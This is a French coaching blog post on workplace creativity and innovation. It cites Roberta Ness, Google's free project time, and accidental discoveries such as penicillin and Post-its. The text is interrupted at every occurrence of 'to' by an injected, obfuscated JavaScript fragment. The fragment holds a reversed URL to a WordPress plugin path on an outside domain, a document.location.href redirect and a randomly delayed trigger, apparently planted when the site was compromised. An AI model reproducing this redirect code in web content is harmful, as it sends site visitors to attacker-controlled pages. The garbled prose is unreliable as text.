Créativité au travail et innovation
Définition de l’innovation
Dans l’
article précédent donc, je définissais la créativité comme la capacité à créer du neuf, à amener de la nouveauté. La définition souvent admise de l’
innovation est « créativité avec un usage ». C’est en toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout cas ainsi que la définit Roberta Ness, professeur américain reconnue comme un des meilleurs spécialistes de la pensée innovante. Et toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le monde sait que les États-Unis sont un des pays le plus innovants au monde.
J’ai suivi le cours du Pr Roberta Ness par l’intermédiaire d’un MOOC (Massive Open Online Course – cours en ligne) de l’université du Texas. J’évoque cela car les cours en ligne sont un avantage certain, et gratuit, pour continuer à apprendre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout au long de sa vie. Maintenir ou développer sa capacité d’apprentissage est une condition nécessaire, mais non suffisante, pour innover. En effet, dans une société sans cesse en mouvement et en pleine accélération, faire preuve de curiosité et continuer à apprendre permet de rester en phase avec son monde.
Cependant, l’innovation comme la créativité, nécessite un progrès ou une avancée. Il s’agit donc de penser puis faire ce qui n’existe pas encore. L’innovation repose donc sur d’autres chemins que ceux de l’apprentissage, puisqu’elle en est à l’avant-garde.
Enfin, l’innovation recouvre de nombreux champs : innovation sociale, innovation technologique, innovations dans les services, innovation dans la santé et la médecine, innovation organisationnelle et conduite de changement…
Les enjeux de la créativité au travail et du processus d’innovation
La créativité est un enjeu des entreprises, qui cherchent bien entendu à développer voire booster la créativité au travail. En effet, la créativité en entreprises est le ferment de l’innovation. La créativité fait régulièrement la différence en termes de développement voire de survie d’une entreprise.
Certains innovations proviennent d’idées innovantes de rupture mais beaucoup plus souvent, l’innovation repose sur des améliorations successives (par couche) d’un produit ou d’un service.
Parmi les exemples d’innovation et les entreprises innovantes de ces dernières années, nous retiendrons les « start-up » et les géants de l’internet bien entendu ; comme par exemple Google et Facebook. Facebook repose sur une innovation des premiers réseaux sociaux de type MySpace. Google repose sur une innovation de la première génération des moteurs de recherche tel que Yahoo.
Tout le monde a entendu parler de la qualité de vie au travail (QVT) des employés de la société californienne. Il faut savoir également que Google met à disposition de ses employés une demi-journée par semaine pour réfléchir à leurs projets, à condition que « cela serve un jour » à la firme (source A. Collery – Mister Happiness, p78, Ed. Larousse).
En
coaching professionnel, nous abordons cette question du
coaching de l’innovation et de la créativité au travail avec un grand intérêt. D’autant plus que le travail créatif se manifeste dès le début de la stratégie d’innovation et de son processus. Même les chercheurs des laboratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toires innovants doivent d’abord envisager de nouveaux chemins de créativité avant d’envisager la production d’un objet innovant.
Esprits novateurs et personnes créatives
L’Humain et sa parfaite imperfection
Comme toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours, que ce soit dans la vie, l’entreprise ou le coaching,
l’Humain est au cœur de mes préoccupations. Les personnes créatrices et même celles moins créatives, dans un monde qui mute en permanence, sont une valeur inestimable. En effet, plus notre monde se transforme, plus nous avons besoin de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous et toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes pour avancer.
Je souhaite rappeler que nombre de découvertes sont le fruit d’erreurs ou du hasard. Ainsi, si Christoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tophe Colomb ne s’était pas trompé dans ses calculs, il n’aurait pas redécouvert l’Amérique. Si Spencer Silver ne s’était pas trompé dans ses dosages de colle, nous n’aurions peut-être pas de post-its. Si Fleming n’avait pas été aussi désorganisé, il n’en serait pas venu à développer la culture de la pénicilline etc…
S’imaginer que l’on contrôle toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ce qui nous arrive dans la vie relève de la folie et limite la créativité personnelle. La créativité collective, parallèlement, ne s’arrête pas pour autant.